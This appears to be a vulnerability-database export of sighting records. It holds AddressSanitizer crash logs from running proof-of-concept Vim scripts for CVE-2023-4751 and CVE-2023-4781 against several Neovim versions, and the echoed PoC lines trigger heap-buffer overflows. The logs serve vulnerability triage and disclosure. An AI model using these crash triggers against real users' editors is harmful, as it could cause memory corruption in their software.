/home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n #11 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n #12 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n #13 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n #14 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n #15 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #16 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n #17 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n #18 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n #19 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n #20 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n #21 0x7f16a0f0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #22 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x602000006012 is located 0 bytes to the right of 2-byte region [0x602000006010,0x602000006012)\nallocated by thread T0 here:\n #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n #3 0x5df777 in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/change.c:686:16\n #4 0x5dfc61 in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/change.c:622:3\n #5 0x64fc50 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:2176:7\n #6 0x6558bb in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1975:5\n #7 0x655174 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1167:7\n #8 0x6495d5 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:668:10\n #9 0xa59808 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:88:26\n #10 0x64b487 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:331:5\n #11 0x648d5f in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1263:3\n #12 0x8ec580 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7061:7\n #13 0x8e43eb in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5520:7\n #14 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n #15 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n #16 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n #17 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n #18 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n #19 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #20 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n #21 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n #22 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n #23 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n #24 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n #25 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #26 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n #27 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n #28 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n #29 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:868:16 in utfc_ptr2len\nShadow bytes around the buggy address:\n 0x0c047fff8bb0: fa fa 00 01 fa fa fd fd fa fa 00 01 fa fa 00 04\n 0x0c047fff8bc0: fa fa 00 04 fa fa 05 fa fa fa fd fa fa fa 07 fa\n 0x0c047fff8bd0: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa fd fa\n 0x0c047fff8be0: fa fa fd fd fa fa 00 00 fa fa fd fa fa fa fd fa\n 0x0c047fff8bf0: fa fa fd fa fa fa 01 fa fa fa 00 fa fa fa 01 fa\n=>0x0c047fff8c00: fa fa[02]fa fa fa fd fa fa fa fd fa fa fa fd fd\n 0x0c047fff8c10: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n 0x0c047fff8c20: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n 0x0c047fff8c30: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n 0x0c047fff8c40: fa fa fd fa fa fa fd fa fa fa 07 fa fa fa 01 fa\n 0x0c047fff8c50: fa fa 05 fa fa fa 01 fa fa fa 01 fa fa fa 02 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==25805==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25864==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200003a8d2 at pc 0x000000baa92b bp 0x7fff19e94270 sp 0x7fff19e94268\nREAD of size 1 at 0x60200003a8d2 thread T0\n #0 0xbaa92a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26\n #1 0xc64109 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4480:25\n #2 0xc8a82c in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3968:27\n #3 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n #4 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n #5 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n #6 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n #7 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #10 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n #11 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n #12 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n #13 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #14 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #15 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #16 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #17 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #18 0x7f1b05339082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #19 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x60200003a8d2 is located 0 bytes to the right of 2-byte region [0x60200003a8d0,0x60200003a8d2)\nallocated by thread T0 here:\n #0 0x4d96bd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d96bd)\n #1 0xbdb432 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n #2 0xbdb5f4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n #3 0x6d61ed in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/change.c:625:18\n #4 0x6d683f in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/change.c:560:3\n #5 0x75abb5 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5955:7\n #6 0x76c384 in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5741:5\n #7 0x76b489 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1373:7\n #8 0x74279f in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:840:10\n #9 0xfc6ee5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:89:26\n #10 0x746c03 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:496:5\n #11 0x74086d in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1472:3\n #12 0xc903f8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7265:7\n #13 0xc79dd5 in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5619:7\n #14 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n #15 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n #16 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n #17 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n #18 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n #19 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #20 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #21 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n #22 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n #23 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n #24 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n #25 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n #26 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n #27 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n #28 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n #29 0x7f1b05339082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n 0x0c047ffff4c0: fa fa fd fd fa fa 00 01 fa fa fd fd fa fa 00 04\n 0x0c047ffff4d0: fa fa 00 04 fa fa fd fd fa fa 05 fa fa fa fd fa\n 0x0c047ffff4e0: fa fa 07 fa fa fa fd fd fa fa fd fa fa fa 00 00\n 0x0c047ffff4f0: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 00\n 0x0c047ffff500: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 01 fa\n=>0x0c047ffff510: fa fa 00 fa fa fa 01 fa fa fa[02]fa fa fa fd fa\n 0x0c047ffff520: fa fa fd fa fa fa 01 fa fa fa fd fa fa fa fd fd\n 0x0c047ffff530: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n 0x0c047ffff540: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n 0x0c047ffff550: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n 0x0c047ffff560: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==25864==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\n\"0\" [New File]\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25949==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000081d2 at pc 0x0000009ace3b bp 0x7ffd7c9e0790 sp 0x7ffd7c9e0788\nREAD of size 1 at 0x6020000081d2 thread T0\n #0 0x9ace3a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26\n #1 0xa712e8 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4920:25\n #2 0xa97cff in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4459:27\n #3 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n #4 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n #5 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n #6 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n #7 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #10 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n #11 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n #12 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n #13 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #14 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #15 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n #16 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n #17 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n #18 0x7f39b26ae082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #19 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x6020000081d2 is located 0 bytes to the right of 2-byte region [0x6020000081d0,0x6020000081d2)\nallocated by thread T0 here:\n #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n #3 0xa0aba6 in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1475:18\n #4 0xa0b1df in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1406:3\n #5 0x640714 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5312:7\n #6 0x6510d4 in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5099:5\n #7 0x6509fa in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1241:7\n #8 0x629566 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:764:10\n #9 0xd3b5b3 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:67:26\n #10 0x62d7d5 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:458:5\n #11 0x6274e3 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1339:3\n #12 0xa9d1b8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7589:7\n #13 0xa85f81 in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6068:7\n #14 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n #15 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n #16 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n #17 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n #18 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n #19 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #20 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #21 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n #22 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n #23 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n #24 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #25 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #26 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n #27 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n #28 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n #29 0x7f39b26ae082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n 0x0c047fff8fe0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 00 06\n 0x0c047fff8ff0: fa fa fd fd fa fa fd fd fa fa 00 01 fa fa fd fd\n 0x0c047fff9000: fa fa 00 01 fa fa fd fd fa fa fd fa fa fa 00 00\n 0x0c047fff9010: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 00\n 0x0c047fff9020: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 01 fa\n=>0x0c047fff9030: fa fa 00 fa fa fa 01 fa fa fa[02]fa fa fa fd fa\n 0x0c047fff9040: fa fa fd fa fa fa 01 fa fa fa fd fa fa fa fd fd\n 0x0c047fff9050: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n 0x0c047fff9060: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n 0x0c047fff9070: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n 0x0c047fff9080: fa fa fd fa fa fa 07 fa fa fa 01 fa fa fa 01 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==25949==ABORTING", "creation_timestamp": "2026-09-06T12:58:15.895359Z"} 2026-09-06T12:58:15.895359+00:00 https://vulnerability.circl.lu/sighting/50133ff3-cc1e-4850-a3f1-177f1c7fef74/export 2026-09-17T10:26:47.077070+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "50133ff3-cc1e-4850-a3f1-177f1c7fef74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4781", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/ff0d69960a7adbd04b06efa14b114bdf", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nExecuting: aunmenu *\n\nExecuting: vnoremenu PopUp.Cut \"+x\n\nExecuting: vnoremenu PopUp.Copy \"+y\n\nExecuting: anoremenu PopUp.Paste \"+gP\n\nExecuting: vnoremenu PopUp.Paste \"+P\n\nExecuting: vnoremenu PopUp.Delete \"_x\n\nExecuting: nnoremenu PopUp.Select\\ All ggVG\n\nExecuting: vnoremenu PopUp.Select\\ All gg0oG$\n\nExecuting: inoremenu PopUp.Select\\ All VG\n\nExecuting: anoremenu PopUp.-1- \n\nExecuting: anoremenu PopUp.How-to\\ disable\\ mouse help disable-mouse\n\nExecuting: \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18417==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000003145 at pc 0x0000004e0015 bp 0x7ffcdfa58970 sp 0x7ffcdfa58138\nWRITE of size 55 at 0x603000003145 thread T0\n #0 0x4e0014 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014)\n #1 0x73d502 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3936:11\n #2 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n #3 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #4 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #5 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #6 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n #7 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n #8 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n #9 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #10 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #11 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #12 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #13 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n #14 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n #15 0x7f2bac1ab082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #16 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x603000003145 is located 0 bytes to the right of 21-byte region [0x603000003130,0x603000003145)\nallocated by thread T0 here:\n #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n #5 